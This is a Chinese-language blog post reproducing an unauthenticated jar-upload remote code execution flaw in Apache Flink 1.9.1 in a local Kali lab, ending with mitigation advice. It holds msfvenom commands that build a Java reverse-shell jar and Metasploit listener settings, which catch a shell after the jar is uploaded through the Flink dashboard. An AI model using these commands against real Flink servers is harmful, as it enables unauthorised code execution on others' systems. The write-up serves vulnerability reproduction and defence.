Apache flink任意jar包上传导致远程代码执行

漏洞描述:

2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

影响范围

<= 1.9.1(最新版本)

环境搭建:

Flink 1.9.1

java11+

kali系统

因为 Flink 1.9.1 需要java环境支持,而kali系统本身内置openjdk版本(我的是java11),所以我们无需另外下载java环境。

java版本查看

java -version

image-20191119233025402.png

安装 Apache Flink 1.9.1

wget http://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

image-20191119233055639.png

解压安装包

tar zxvf flink-1.9.1-bin-scala_2.11.tgz

image-20191119233221785.png

启动flink

image-20191119233448219.png

访问测试

image-20191119234229915.png

漏洞复现

利用MSF生成一个jar的木马文件(kali搭建漏洞环境原因,使用127.0.0.1本地地址作为攻击目标)

msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8765  -f jar > getshell.jar

image-20191119234614584.png

Metasplott监听8765端口

use exploit/multi/handler

set payload java/shell/reverse_tcp

set LHOST 127.0.0.1

set LPORT 8765

show options

run

image-20191119235518397.png

上传webshell

image-20191119235752168.png

成功反弹shell,执行常见命令

image-20191119235956154.png

漏洞修复

建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证

posted @ 2019-12-26 14:52  ZZtac  阅读(874)  评论(0编辑  收藏  举报